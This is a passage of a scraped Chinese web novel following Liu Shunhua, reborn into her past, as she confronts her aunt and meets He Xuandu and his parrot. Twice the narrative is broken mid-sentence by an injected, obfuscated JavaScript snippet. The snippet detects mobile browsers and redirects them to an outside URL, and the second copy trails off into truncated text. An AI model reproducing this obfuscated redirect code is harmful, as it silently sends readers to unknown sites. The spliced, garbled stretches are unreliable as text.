扬出去的手停在半空,柳舜华抓住孙姨娘的手臂,沉声道:“姨娘,什么了不得的事,要动手打人?” 柳棠华虽是孙姨娘所生,但因是女孩,一向不入她的眼。这些年,她一门心思扑在儿子身上,对柳棠华不甚上心。倒是柳舜华自小与柳棠华一起,一贯待她如珍似宝,护她护得紧。 柳棠华见柳舜华回来,眼眶一红,喊了声,“姐姐。” 柳舜华浑身一颤,缓缓转过身来。 这里没有一袭华服端坐在宝座上的皇后娘娘,只有正缩在一角,委屈得眼泪直流的柳棠华。 一瞬间,柳舜华心如刀绞,再也控制不住,上前将柳棠华揽在怀里。 心中千言万语想要说,到嘴边却只有一声哽咽低唤:“芊芊。” 她抱得太紧,就像怕她会随时离开一般。 柳棠华有些发怔,不过两日不见,姐姐怎么想她想得这般紧。 葛氏实在看不下去,“蓁蓁,你太过了吧,搞得像是我们怎么了她一样。” 孙姨娘也跟着道:“对啊,不过就是一件衣裳罢了。” 柳舜华将柳棠华护在身后,故意道:“姨娘怎么会看上棠华的衣裳?何况这衣裳瞧着,也不适合姨娘。” 孙姨娘一听,她这说的什么话,哪有母亲同自己女儿抢衣裳的道理。 她面上挂不住,嘟囔一句:“不是我,是蔓华。” 柳舜华“哦”了一声,含笑道:“蔓华妹妹瞧上了,就得给她吗?” 葛氏往日里拿捏柳舜华惯了,哪会将她放在眼里,她端起长辈的架子,淡声道:“蓁蓁,你说这话是什么意思?” 柳舜华闻言,抬头看了一眼葛氏。 这一看,看得柳舜华直皱眉。 方才她一心在棠华身上,竟没有留意她这身装扮。 葛氏一向爱炫耀,今日也不例外,穿着件枣红牡丹织锦竖领袄裙,胸前佩着个红玛瑙石串,耳上挂着绿松石耳珰,头上戴着一支莲花玳瑁簪,发间杂饰珠玉。 一个小吏之妇,如此招摇,也不怕招来祸端。 柳舜华突然想起,她好像是曾招惹过祸端。 当年,棠华刚被封为皇后,她便同二叔一样,不知收敛,反而借着柳家的势,频繁出入城中贵妇们的宴会场。 那些平常官宦人家,敬她是皇后叔母,给她几分薄面,她便自以为是皇亲国戚,愈发得意起来。 有次她不知死活,跑到贺家亲族的宴会上,替她那不争气的儿子求娶贺家小姐。 贺家是什么门楣,新帝都是贺丞相扶持上位,朝政全赖贺丞相。 贺家小姐哪会将她看在眼里,根本不搭她的话。 她便仗着吃了点酒,破口大骂。 贺家人大为恼怒,不依不饶,逼着她下跪道歉才罢休。 此事很快在城中传开,棠华因此颜面扫地。 而她,也毫不意外引来丞相夫人一阵奚落。 思及过往,柳舜华对葛氏的厌恶又多了几分。 葛氏见柳舜华似是打量着自己,莫名有些不自在。 她再去望时,却见柳舜华已拉着棠华坐下,定定道:“我的意思,再明白不过,不给。” 听到柳舜华如此干脆地拒绝,那种不舒服的感觉又来了。 葛氏忍着怒气,终是换了一副温柔的口吻:“萋萋是妹妹,你们做姐姐的,疼惜一点自己的妹妹,不是应该的吗?姐妹之间,相互帮衬着,以后等我们老了,你们好歹也有个依靠。” 柳舜华心内一声嗤笑,相互帮衬,这么些年,她和棠华何曾见过她们一针一线。 她扬眉道:“是吗?婶婶方才说相互帮衬,不知蔓华妹妹日后打算如何帮衬?” 这次葛氏没有恼,整个人反而傲慢起来:“我们萋萋,生来模样就好,那必是有好姻缘的。昨儿个那张媒婆便上门,要将萋萋说与京兆尹家卓公子。这若是成了,以后啊,你们都要仰仗我们萋萋呢。” 葛氏说蔓华模样好,孙姨娘起初还很不屑。 他们家两个姑娘,舜华娇艳,棠华水灵,哪个不比她俊俏。 可听到蔓华要说与京兆尹独子,羡慕的眼神挡都挡不住。 怎么别人就这么好命,偏她的女儿,只知道吃吃睡睡。 柳舜华淡笑一声:“是吗,如此要提前同蔓华妹妹道喜了。” 上辈子,柳蔓华后来的确是嫁了京兆尹之子,不过却是因为棠华的缘故。 葛氏有些得意:“一件衣裳算什么,日后少不了你们的好处。” 柳舜华道:“不用日后,侄女现下就需要帮衬。今日去了长陵侯府的浮霞园,侄女还被人羞辱说没一件像样的佩饰撑场面,我瞧叔母胸前的红玛瑙就挺好,不如送给侄女如何?” 葛氏下意识地护紧胸前的红玛瑙,一旁的柳蔓华忍不住上前道:“你疯了?母亲的东西,为何要给你?” 柳舜华一脸失望:“叔母,您是长辈,应当爱惜我们晚辈,一个红玛瑙而已,又不是什么宝贝。侄女既然看上了,怎么还舍不得给侄女了?” 葛氏结结巴巴道:“这……这能一样吗?” 柳棠华在柳舜华身后,歪头背过身去,生怕自己一不小心便会笑出来。 柳舜华道:“怎么不一样,叔母不是说,要相互帮衬。我这以后出去有了面子,咱们柳家脸上都有光不是。何况蔓华妹妹不久就要飞上高枝了,到时让妹妹给您添些新的岂不更好?” 葛氏不知柳舜华今日吃错了什么药,竟如此不管不顾,指着柳舜华劈头盖脸道:“你就是这么同长辈讲话的?在你眼里,还有没有尊卑?” 柳舜华神情淡然,一脸平静:“蓁蓁正是尊着叔母,才渴求叔母垂爱。蓁蓁自幼丧母,见到叔母便如同见了亲生母亲一般,想要同叔母撒个娇,讨个东西。没想到,到了叔母这,竟成了不讲尊卑。” 葛氏气得指着她道:“你,你胡说八道。” 柳舜华一副受伤的表情,“叔母处处误会,让蓁蓁日后如何敢亲近?” 葛氏气结,怎么她以往没发现,柳舜华原来是个厉害的。 柳舜华冷眼看着她,上辈子她任由葛氏兴风作浪,不过是因连着血缘亲情。葛氏却以为捏住了她的软肋,屡次迫使她就范。可如今重活一遭,对这一家子牛鬼神蛇,她早已寒心。 柳蔓华一向机灵,她见情景不对,在旁摇着葛氏,期期艾艾道:“娘,不就是一件衣裳吗,女儿不要了。既然姐姐不欢迎,咱们还在这里做什么,走就是了,何苦留在这里碍她们的眼。” 说罢,柳蔓华搀着葛氏,气冲冲地走了出去。 孙姨娘尤想着要巴结,忙起身追出去相送。 看她们走远,柳棠华在椅子上笑得东倒西歪,“姐姐,你看她们,笑死人了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863672|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳舜华看着活生生的妹妹,就这么站在眼前。 梦里都不敢梦的场景,再次出现,不觉又红了眼眶。 她敛了情绪,笑着问:“那你可还觉得委屈?” 柳棠华倒了一杯茶递过去,笑道:“自然不委屈。姐姐今日好生厉害,竟然说得叔母都答不上来。姐姐这些说辞,是跟谁学的,我也要拜师去。” 柳舜华手中杯盏微微晃动。 上辈子她是有些小聪明,可却缺少智慧。 在家时她凡事都靠着爹爹还有哥哥,并未受过什么挫败,也未曾体会过人情冷暖。 嫁入相府后,不得贺玄晖喜欢,日子久了,府内那些人便想着磋磨自己。 她也曾气急败坏地反抗,可每次都不得其法,白白受气。 她吃尽了哑巴亏,束手无策,便自暴自弃。 直到遇见贺玄度。 贺玄度虽是相府二公子,在相府处境却同她一样,也有些微妙。 大约是同病相怜,都是相府边缘人。这样不染世俗的人物,却教会了她如何反抗。 贺玄度同她讲,世人所求,无非三点:钱,权,还有心。 但凡所求,皆是软肋。 钱和权,柳舜华还懂。可是心,她不懂。 贺玄度看着一脸懵懂的她,为她添了一杯茶:“比如你,想逃却不敢逃,不就是因为皇后娘娘,还有你的父兄。相府与皇权纠葛,他们不会允许你离开。你若只是你,大可与兄长和离。可若是皇后娘娘的姐姐与相府长子和离,朝中那些大臣难免会多想,相府不想看到这些。所以,你不敢与相府为敌。你不求财不求权,不就是为了心中那至亲之情。” 他声音渺远:“倘若有天,你狠心舍了这份情,他们又能奈你何?” 柳舜华自然不可能舍弃亲情,不过反复品味着贺玄度的话后,她到底开窍了。 世人行为虽千差万别,可总有其真实意图,只要参透这点,诸事便宜。 她想到府内那些不开眼的下人。 他们不也是拿捏了她的软肋,知晓她抹不开脸面,又无人可依,才敢苛待与她。 他们如此落井下石,撇开相府夫人的默许,更多的是想看着那些他们曾经需要仰望的人,跌落到谷底,来满足他们那一颗扭曲的心,以此获得快感。 想通这点,柳舜华在相府的日子便没那么难了。 每遇下人刻薄,她便拉下脸面,大大方方地站在门口据理力争,把事吵到明面上来。 她也不怕闹大,左右她是相府长媳,要丢也是丢他们相府的脸面。 如此几次下来,相府夫人气得发抖,却也无可奈何。 她种种行径还是传到了贺玄度的耳中。 她以为,贺玄度那样清冷孤傲之人,多少会对她有所不齿。 岂料再次相见,贺玄度只是轻轻一笑,说了句“孺子可教。” …… 柳棠华见柳舜华有些出神,忍不住晃动着她的手臂,轻声问道:“姐姐,你怎么了?” 柳舜华回过神来,摇摇头:“没事,就是昨夜没有休息好,又起了个大早,有些乏了。” 柳棠华松了一口气,圆圆的脸上瞬间笑成一朵花:“那便好,我还以为姐姐给叔母气到了呢。” 柳舜华伸手捏捏她的脸:“她们那些人算什么,姐姐只要你好好的。” 柳棠华乖巧点了点头,“姐姐既然乏了,可要好好休息。” 入夜,芳草整理好床铺已经去休息了,柳舜华却毫无倦意。 清辉满地,窗台上芍药香梦正酣,柳舜华失神地望着遥挂天际的新月。 她想不明白,贺玄度为何会变成如今这副模样。 不过比起这个,她最担心的,还是相府是否会走上弑君的道路。 她深知无论相府是否成功,贺玄度都不会有好结果。 若是成功,好处自然落在贺玄晖头上。 若是失败,贺玄度必受牵连。 这辈子,贺玄度若想免于受到波及,除非与相府做好切割。 可他是相府嫡子,与相府的关系,怎能说断就断。 柳舜华思来想去,也只有贺玄度离开长安城,远走高飞,才有可能避免。 若是上辈子的贺玄度,但凡双腿正常,他多半会有如此抉择。 可如今的贺玄度…… 柳舜华拿不准,何况,他们并无什么交情。 想到如今的贺玄度,柳舜华拉过被子蒙住头,她实在不忍多想。 9. 第 9 章 柳舜华到集市时候,贺玄度方醒来。 贺玄度是被院子里的大白鹅吵醒的。 他睁了一下眼,打个哈欠,又闭上,“洪声,你不知道喂食吗,怎么一大早就叫?” 洪声急匆匆跑进来,“小祖宗,你可快些起来吧,老爷让人叫你马上过去。” 贺玄度不慌不忙起身,懒懒道:“老爷身边的人?一群臭烘烘的腌臜东西,也敢进我院子。” “是刘管事。未曾进院,他才踏进一只脚,那大白鹅追着他就咬,给他吓得不轻,隔着墙交待了一句,便跑了。” 洪声笑着递上衣物,“想想昨日费老大劲抓它回车上,值了。” 贺玄度穿了衣服,走到门口对着大白鹅眉飞色舞:“笨丫头,可以啊,比后院那些狗子还厉害。做得不错,回来赏你肉吃。” 洪声提醒道:“公子,鹅它不吃肉。” 贺玄度拍了拍他:“虫子也是肉,去,捉几条虫子给它。” 洪声哭丧着脸,怎么公子总是会有这些奇奇怪怪的吩咐。 贺玄度穿戴好,想起了什么,问道:“昨日在浮霞园折的桃花可还在?” 洪声回道:“小的一直护在怀里,好着呢,晚间一回来便交给了银纤姑姑养着。” 贺玄度点头:“祖母这几日约摸着要回来,你们先好好养着,回头我给她老人家送去。” 洪声嬉笑道:“公子事事都想着老夫人,老夫人喜好一直记在心里,难怪老夫人疼你。” 贺玄度到了荣安堂,见贺留善正坐在堂前,贺玄晖与贺容暄分坐两侧。 他还算规矩地行了礼,“父亲好。” 对这个二儿子,贺留善一向不甚留意,这些日子,又一直忙于朝政,他已许久未见过贺玄度了。 贺留善看着他,他似乎长高了一些,已经赶上了贺玄晖的身量。 看着倒也是身姿挺拔,落落如松。 他在贺玄晖身旁落了座,不同于贺玄晖身姿端正,他松散地坐着,不时打着哈欠,一双眼中满是对世俗的不屑,和他那个自认为读了点书,便眼高于顶的娘一个样。 贺留善皱眉。 分明一身君子骨,怎么偏生如此纨绔相。 他怒气又增了几分,厉声道:“怎么起得这么晚,日日睡到巳时方起,成何体统。” 贺玄度面无表情地应着,“父亲教训的是。” 贺留善话入正题:“我听说,昨日你妹妹在长陵侯府被刁难,你非但不帮,反而火上浇油。” 贺玄度一声嗤笑:“被刁难?父亲,您看看她这样的,能被人刁难。” 贺容暄正端起杯盏,啪地一下放在桌上:“你什么意思,我怎样的了?” 贺玄度往座椅后靠了靠,嘴角勾笑:“就是如今这样的。” 贺玄晖被他们吵得头大:“你们都住口,父亲在此,你们也敢如此放肆。” 贺留善一下朝,贺容暄便赶过来请安,哭诉昨日在浮霞园两次被羞辱。 见女儿受委屈,他当即有些恼怒,未问清楚前因后果,便让人叫了两个儿子过来。 贺留善皱眉道:“彰儿,你说怎么回事?” 贺玄晖解释道:“那姑娘是柳桓安的妹妹,我看她并无刁难之意。此事,容暄确实夸大了些。” 柳桓安,贺留善瞬间明白怎么回事。 大约是贺玄晖与长陵侯府的人捧着柳家,这丫头感觉受到了冷落,看不过去。 贺容暄盯着贺玄晖:“兄长,怎么你也替她说话?我好心赠她步摇,她却不屑一顾,不是羞辱是什么?” 贺玄度懒洋洋道:“好心地扔到地上,然后居高临下看她屈身,来体现你的尊贵。” 贺容暄冷笑:“昨日一入浮霞园,我便瞧见你们两个拉拉扯扯,分明是旧相识,所以你才会帮着她。以我看,你们……” 贺玄晖听不下去,喝声道:“容暄住口,你堂堂相府小姐,怎可处处人前争长短,又事后唇齿之间坏人名声。” 贺容暄被贺玄晖一喝,立时住了口,憋着气不说话。 贺留善见女儿委屈,不轻不重道:“小女儿家的以后出言要谨慎,万不可像今日这般。” 贺容暄本就不服气,眼光一瞥,正瞧见贺玄度在旁幸灾乐祸。 她气得咬牙,开始胡乱攀扯,“若非二哥在桃园内帮腔,那柳舜华早就将步摇捡起来了,哪里会有后面这些事?” 贺留善顺势将矛头转向贺玄度,“不管如何,你身在相府,曦儿是你的妹妹,就算她有什么错,你事后告诫她就算了,怎可在外人面前如此对待你的亲妹妹?” 贺玄度要笑了,他这个爹,在朝堂有多公正,在家就有多偏心。 从小到大,但凡与他们兄弟姐妹有争执,错的总是他。哪怕毫不相干,只要他一出现,最后不是他也要是他。 他直起身子,冷声道:“以爹的意思,就算她杀了人,我也不能多说一句,反而还要替她收尸才行?” 贺留善气得手发抖,伸手抓起桌上的杯盏朝他砸了过去,“你个混账东西。” 贺玄度歪头躲了过去。 他起身,躬身道:“既然父亲不喜欢看到我,我这就退下。” 说罢,头也不回地走出荣安堂。 洪声早早候在荣安堂外,一见贺玄度出来,立即迎了上去。 “公子,您没事吧?” 一片玉兰阴影里,贺玄度抬起头,望着高墙之外的天穹:“出去吧,这里太憋屈了。” 贺留善被气得不轻,贺容暄也是。 她指着贺玄度渐远的身影,“父亲,您瞧他那个样子。” 贺玄晖出声:“容暄,你少说两句,还嫌父亲气得不够轻。依我看,玄度确实是顽劣了一些,可错的却是你。” 贺容暄气道:“我还是不是你亲妹妹?你竟然帮着他说话。” 贺玄晖道:“正因为你是我妹妹,我才要提醒你,以后行事莫要如此张扬。还有,莫要与柳家为难。” 贺容暄正要理论,贺留善却点头道:“曦儿,你兄长说得没错,适才当着那混账的面,爹不好驳你面子。日后要多听你兄长的话,收收性子,如今你也大了,不可再这般任性。” 贺容暄满腹委屈:“大了,大了……大了就要事事忍着吗?怎么我小的时候不教我收敛,这个时候来说。我学不会,也不想学。你们若是看我不顺眼,我走便是。” 贺留善看着小女儿气鼓鼓地离开,无奈道:“这孩子,被你娘给宠坏了,没有一点规矩。彰儿,日后你要留心教着点。” 贺玄晖叹道:“她自幼受尽万千宠爱,不肯受一点委屈。娘又事事护着,她哪肯听我的。” 贺留善摇摇头:“算了,由她去吧。只要贺家还在,总能护她一世周全。” 贺玄晖思忖片刻,“父亲,容暄方才有些颠倒黑白了,昨日分明是她两次刁难。只怕如今,柳桓安心里对相府已有成见。” 贺留善揉着头:“柳桓安,将来或得皇上重用,此人必须要为我所用,要想办法继续拉拢才行。” 贺玄晖眸光一闪:“再过几日,便是祖母大寿,不如借此邀他过府一叙。” 贺留善颔首道:“也好。正好我也想见见这个柳桓安,看看他是否真有些本事。” …… 街上熙熙攘攘,柳舜华避开人群,进入街道转角的书铺。 她在铺子内转了一圈,找到一本《庄子》,又拿了些纸。 芳草看她进书铺买纸,已觉稀奇,又见她看书,便问:“小姐,这是什么书?” 柳舜华顺口道:“《庄子》,我才看了两篇,想把剩下的看完。” 芳草疑道:“小姐什么时候看的,我怎么不知道?” 柳舜华顿了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈嘉良被扇得有些懵,待反应过来后,上前便想打回去。 还是贺玄晖及时出现,拉着他去了前厅。 宴会结束,芳草告诉她,陈嘉良醉酒不慎跌入池塘,弄得一身狼狈。她和妙灵听后,乐了一晚。 …… 陈嘉良看着地上被撞落一地的果子,摇头晃脑道:“贺玄度,你那个破鸟到底给不给我?” 贺玄度摸着肩膀上的鹦鹉:“你嘴巴给我放干净点,它有名字,叫绿玉。一盒破果子,绿玉又不是故意的,我赔给你便是。” 陈嘉良嘴角一咧:“你这个破鸟,害得小爷我无故摔了一脚,赔我就完了?今日我非要逮了它炖汤喝不可。” 贺玄度将鹦鹉揣进怀里,“陈嘉良,你敢?你若敢动绿玉,我跟你拼了。” 陈嘉良不屑:“一个破鸟,我动它怎么了。姑丈早就不满你整日养这些玩意,你还指望着他会为了一只鸟责骂我,别做梦了。” 贺玄度恼道:“你不过一个相府外人,仗着点势,也敢动我。” 陈嘉良得意地仰着头:“外人又如何,你也不看看,相府如今是谁当家,是我姑姑,不是你那个早死了几百年的娘。” 贺玄度听他提起亲娘,忍无可忍,挥着拳头便冲了上去。 陈嘉良身后的小厮忙拦着,洪声见贺玄度被人架起,跑上前去帮忙,两边人很快扭在一起。 陈嘉良仗着人多,退到一边吆喝着:“把那破鸟从他怀里掏出来,给我摔死了。” 眼前这情况,只怕贺玄度要吃亏。 柳舜华再坐不住,起身朝门外跑去。 贺玄度被按在墙上,挣扎着护着怀里的鹦鹉,可无奈对方人多,绿玉还是被掏了出来。 他怒吼一声:“陈嘉良,我说过,若是你敢动它,你死定了。” 陈嘉良推开几个小厮,一把将鹦鹉抢过来,“好啊,我等着。” 贺玄度看着陈嘉良举起的双手,眼底通红,紧握起拳头。 “贺二公子,原来你在这呢。” 贺玄度于纷乱中回头,正对上一双清亮的眸子。 10. 第 10 章 街角墙边,一枝桃花垂下,灼灼盛开。 柳舜华站在花下,梳着迎春髻,身穿绛纱曲裾裙,娇花柳柔,手中捧着一张纸,脸上笑意盈盈,双眸像是凉州城的万千繁星,清澈澄亮。 陈嘉良不觉看呆了。 绿玉趁着这空隙,对着他的手啄了一口。 陈嘉良吃痛,手一松,绿玉扑腾着翅膀落到贺玄度肩上。 陈嘉良方想张口去骂,便听一声悦耳的声音。 “二公子,老夫人到处找您。您怎么还这在这里闹呢,她老人家都等急了。” 贺玄度眼珠一转,咳了一下:“你去告诉祖母说,孙儿被一条野狗挡了道,一时半会怕是过不去了。” 陈嘉良一惊,原来老夫人已经回来了,还在这附近,怪不得贺玄度方才有恃无恐。 相府老夫人对这个纨绔极为宠爱,若不是丞相顾及老夫人,就凭他这副模样,怎能在相府立足。 区区一个贺玄度,陈嘉良根本不放在眼里,可他到底不敢在老夫人眼皮子底下造次。 他冷哼一声,对着一众小厮挥了挥手,“贺玄度,下次你就没这么幸运了。” 一双贼眼在柳舜华身上盯了片刻,这才带着人离开。 看到陈嘉良走出街角,柳舜华才长长松了一口气。 这边,贺玄度已从容整理好衣衫,再转身时,又是此前那副慵懒放荡的模样。 将绿玉递给洪声后,贺玄度朝柳舜华走去。 他比她高出许多,就这么居高临下地垂眸,一双桃花眼中满是打量。 这位柳小姐,昨日无故出现在相府门前,拦住他的路,看到他的那一刻,明明神情激动,结果转头却说认错了人。 今日她又恰巧出现在此处,替他解围。 两次相遇,绝非偶然。 柳舜华被他盯得有些心虚,忙将此前准备好的纸举起,轻声道:“贺二公子,您要的字帖。” 她半垂着头,不敢去看他。 贺玄度低头扫了她一眼,捧着纸的手,微微有些颤抖。 方才那样的情形,她都镇定自如,怎么如今,却有些怕了? 贺玄度嘴角一扬,还真是有趣极了。 他伸手接过她递来的纸张,修长的手指无意划过她的指尖。 微凉又有些湿润的触感,让柳舜华神思微荡,倏忽收回了手。 贺玄度将纸展开,瞥了一眼: 蟋蟀在堂,岁聿其莫。今我不乐,日月其除。 无已大康,职思其居。好乐无荒,良士瞿瞿。[1] …… 目光落在“好乐无荒”四字上,贺玄度微微一笑。 她倒是懂得劝学。 他放下纸张,笑道:“我随口说说,柳小姐还当真了。” 柳舜华抬眸,眼神清澈而诚挚,“你说的话,我自然会记得。” 贺玄度握纸的手微微一颤,心底突地涌起一股暖流。 他不动声色,将纸收起,塞到怀里。 “方才多谢。”他想了想,又加了一句:“柳小姐为何要帮我,你不怕惹祸上身?” 柳舜华咬着唇,思量着要如何应对,一抬头看到洪声手臂上的鹦鹉,顿时有了主意。 她指着绿玉道:“鹦鹉,我很喜欢鹦鹉。” 贺玄度脸色一沉,她替他解围,只是因为喜欢绿玉。 绿玉这时突然开口:“柳舜华,柳舜华……” 贺玄度快步走过去,一巴掌拍在绿玉头上,“乱叫什么。” 绿玉被他一拍,张牙舞爪地扇动着翅膀去反击。 柳舜华第一次见能说话的鸟,还叫着她的名字,忍不住跟着凑上前去,用手抚摸着它被贺玄度拍乱的羽毛。 她动作极轻,纤细的玉指在绿得发亮的羽毛中更显娇嫩,微微歪着的侧脸在日光下白玉一般无瑕。 她柔声道:“绿玉,真好听。” 绿玉被她摸得舒服极了,不停地摇着尾巴示好。 洪声笑道:“柳小姐,绿玉不喜与外人亲近,她这是喜欢你。” 柳舜华抬头一笑:“我也觉得,我们有缘。” 她本就面容姣好,此时一笑,更带几分天真,让人顿觉无比松弛。 这下不但绿玉,就连洪声都对柳舜华有了好感。 他道:“绿玉通人情,那都是柳小姐人美心善,它才愿意亲近。” 贺玄度踢了洪声一脚,怎么以前没见他嘴这么甜。 洪声冷不丁被踢,跳了一下,看到贺玄度黑着脸,忙退到一边。 贺玄度躬身道:“多谢柳小姐今日相帮,贺某记下了,他日定当相报。” 听他这么说,柳舜华心中不胜欢喜,既如此,那日后要再接近贺玄度,会方便许多。 她笑着说客气,看了看天色,担忧芳草寻不到自己着急,这才恋恋说着告辞。 还未转身,洪声臂膀上的绿玉倏忽便飞了过去,拼命往她怀里钻。 柳舜华被它突如其来的动作吓了一跳,往后退了几步。 洪声在旁干着急,因顾及柳舜华是女子,也不好上前。 贺玄度在一边喝道:“绿玉,你给我滚过来。” 绿玉朝他看了一眼,爪子一翻,仰着头背过身去。 贺玄度骂道:“你这个没良心的小东西,你吃我的喝我的,还跟我犟上了。你说,方才你惹祸,是谁不管不顾地救你?” 洪声小声提醒:“柳小姐也有份。” 贺玄度抬起手便想打,洪声赶紧抱头闭嘴。 柳舜华试着去抓了几次,奈何绿玉爪子牢牢抓住她的衣襟,根本拽不开。 她颇有些无奈地望向贺玄度。 贺玄度也毫无办法,僵持片刻,他无奈道:“柳小姐若不嫌弃,就让它跟着你几日吧,等新鲜劲过了,我再接它回去。” 柳舜华暗自一喜,方才她还想着下次要如何再接近贺玄度,如此一来,机会不就来了。 她装作有些为难的样子,低眉沉思。 贺玄度忙道:“柳小姐放心,绿玉它很乖的,绝对不会惹事。” 柳舜华点头:“好吧,既如此,我就先养两日。” 看着柳舜华背影消失,洪声摇头啧啧两声:“绿玉,真是个神鸟。” 贺玄度白了他一眼:“你告诉我,它神哪了?” 洪声看了一眼贺玄度,意味深长道:“二公子与柳小姐缘分不浅啊。” 贺玄度一愣:“你什么意思?” “二公子方才为何会急着拍绿玉,还不是因为绿玉叫了柳小姐的闺名。”洪声嘿嘿一笑,“我就奇了,你说绿玉第一次见柳小姐,怎么会知道柳小姐的闺名呢?” 绿玉平日里只 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芳草歪头看着绿玉,只见它一身翠绿的羽毛油亮油亮的,一双眼睛乌溜溜地转着,别提多招人喜欢。 “真好看,怪不得小姐跑这么快。” 绿玉一路上都很欢快,围着柳舜华叽喳个不停。 柳舜华摸着绿玉,想起了贺玄度。 昨日见他如此纨绔模样,心里多少还是有些失望。 可今日这一遭,她觉得,一个连鹦鹉都拼了命去护的人,不会差到哪里去。 正因他一直都怀有这份恻隐之心,当初在相府他才会出手帮她。 柳舜华安慰自己,至少从这点来看,贺玄度还是贺玄度。 柳棠华隔着老远听到鸟叫,从屋内跑了出来,瞧见廊下的绿玉喜欢得不行,一直不停地逗它,中饭都懒得吃。 整个下午,柳棠华都围着着绿玉献殷勤,又是喂水又是喂食,期待着它开口说话。 柳舜华拿了新买的书坐在廊下,喝着茶,晒着太阳,笑着看她像个小麻雀一样,跑来跑去地瞎折腾。 直到绿玉忍不了她的聒噪,垂头闭眼不再理她,柳棠华才终于放弃。 她瘫倒在席子上,有些泄气,“姐姐,怎么它都不开口?它真的会说话吗,你别是哄我的吧?” 柳舜华放下手中的书,俯下身道:“千真万确,我亲耳听到它叫了我的名字,你再多些耐心。” 柳棠华双手捧脸,有气无力道:“可我已经哄了它三个多时辰了,姐姐不是什么都没做,它便叫了姐姐的名字。” 她叹了一口气,又喃喃道:“还是说,棠华这两个字很难念?或者,它只喜欢姐姐,才叫姐姐的名字。” 柳舜华笑了一下,方想说什么,突然怔住了。 今日窄巷内,贺玄度从头到尾叫的都是柳小姐,并未唤过她闺名,而她与绿玉也是第一次相见。 那为何,绿玉会叫出她的名字? 绿玉能叫出她名字,必定是在哪里听过。 它一直跟着贺玄度,也就是…… 贺玄度曾当着绿玉的面,提过她的名字。 贺玄度不会无缘无故提起她的名字。 想到今日贺玄度对自己的打量,柳舜华不由一阵心慌。 贺玄度在私下唤她名字,他到底是何态度。 11. 第 11 章 薄暮时分,柳桓安过来送莲蓬糕,瞧见廊下的鹦鹉,愣了一下。 他总觉得,这个鹦鹉有几分眼熟。 柳舜华怕他瞧出来,忙推他进了正屋。 柳桓安坐下后,还是问道:“你何时养起了鹦鹉?” 柳舜华倒了一杯茶递过去:“今日集市上买的,闲着逗趣。” 柳桓安接过茶盏,轻轻抿了几口。 柳舜华绕到他身后,替他捶着背:“兄长第一日上任,可还顺利?” 柳桓安揉着额头:“已陆续有诸侯抵达,一整日都在安排,忙得脚不沾地。” 柳舜华道:“第一日就忙成这样,那往后若想见兄长,岂不是难了?” 柳桓安点头:“再过两日,各地诸侯皆至长安,才是最忙的时候。” 柳舜华笑道:“兄长这么忙,还抽空去买莲蓬糕,倒显得我不懂事了。” 柳桓安将杯子放下,“顺路而已,你还以为我会为你这点小事刻意绕路去买?”说着又从怀中取出一张请帖,“我过来,是为这个。” 柳舜华接过,打开一看,是相府的帖子,邀她过府参加老夫人寿宴。 她盯着帖子看了好一会。 老夫人,算算日子,她应该快回来了。 柳桓安接着说:“此次是相府老夫人做寿,名义上还是要邀女眷,咱们家女眷,也只能下给你了。” 柳舜华合上帖子。昨日与贺容暄起了争执,今日相府便将帖子送上,任谁看都是相府主动示好,给足了他们柳府面子。 她若不应,倒显得对昨日之事心怀不满,明摆着拒绝相府的示好,日后兄长可就难做了。 她没想到,如此一来,她反倒被架了起来。 相府,柳舜华自是一万个不愿去。 可眼下之事,由不得她。 她问:“兄长怎么想的?” 柳桓安淡声道:“身在官场,应酬在所难免,若一场宴会都不能全身而退,那日后如何为皇上分忧。” 柳舜华思忖片刻,兄长既做此决定,她相信兄长定能处理好。 她点头道:“既如此,我写了回帖,到时与兄长一起赴宴便是。” 柳桓安想了想,说道:“相府大小姐贺容暄,你不用担心。寿宴之上,她应不会去惹事。” 柳舜华当然知道,贺留善极重孝道,贺容暄平日再跋扈也不敢在祖母寿宴上摆脸色。 她道:“你放心好了,到时我离她远远的,谁管她如何。” 柳桓安出门时,绿玉突然叫了几声,惹得他频频回头,吓得柳舜华忙侧身挡住它。 当初说好只养两日,可两日过后,贺玄度却并未差人过来。 柳棠华小孩心性,平日里也没什么可以打发娱乐,如今有了绿玉这个稀罕物,看得宝贝一样,日日在廊下与它嬉戏。绿玉也由开始的不耐渐渐到习惯,对柳棠华的喜爱已胜于柳舜华。 柳舜华生怕柳棠华继续下去,与绿玉生出感情,只盼着贺玄度能早点过来带走绿玉。 这日晨间落了一场春雨,雨过之后,云散日朗。 柳棠华贪睡,还未起床。 柳舜华独靠在廊下,懒懒地翻着书卷,也不知今日贺玄度会不会过来。 倏忽一声清亮的哨声,柳舜华抬眸望去,只见绿玉扇动着翅膀,飞出了院墙。 柳舜华急了,绿玉若飞走,她要如何向贺玄度交待。 她也顾不上许多,搬了芳草修剪花枝用的梯子搭在墙边。 梯子不够高,最上一层离墙头还有些距离。 她深吸一口气,用力一跃,双手攀住墙头,奋力爬了上去。 好不容易爬上墙头,却被一枝繁茂的杏花压着,她伸手便去扯,蓦然回头,折花的手顿在空中。 一树花枝下,贺玄度一身赤色宽袖袍,肩头立着绿玉,一张俊脸扬起,嘴角勾着笑,正饶有兴致地望着柳舜华。 柳舜华骑在墙头,平生第一次感受到什么是窘迫。 贺玄度走上前,伸手一只手,“柳小姐,需要帮忙吗?” 柳舜华默默将另外一条腿跨过来,横坐在墙头,将一张红透的脸半隐在花枝间。 “不用,上面,挺好的。” 贺玄度收回手,“柳小姐随意。” 柳舜华忙找补:“我那个,看绿玉飞了出去,有些心急,这才上来看看。” 贺玄度笑笑:“多谢柳小姐帮忙照看绿玉,一连欠了柳小姐两个人情,实在无以为报。只是不知柳小姐喜欢什么,珠宝首饰还是胭脂水粉?” 柳舜华想了想,探出头来:“我什么都不要,只想你答应我一件事。” 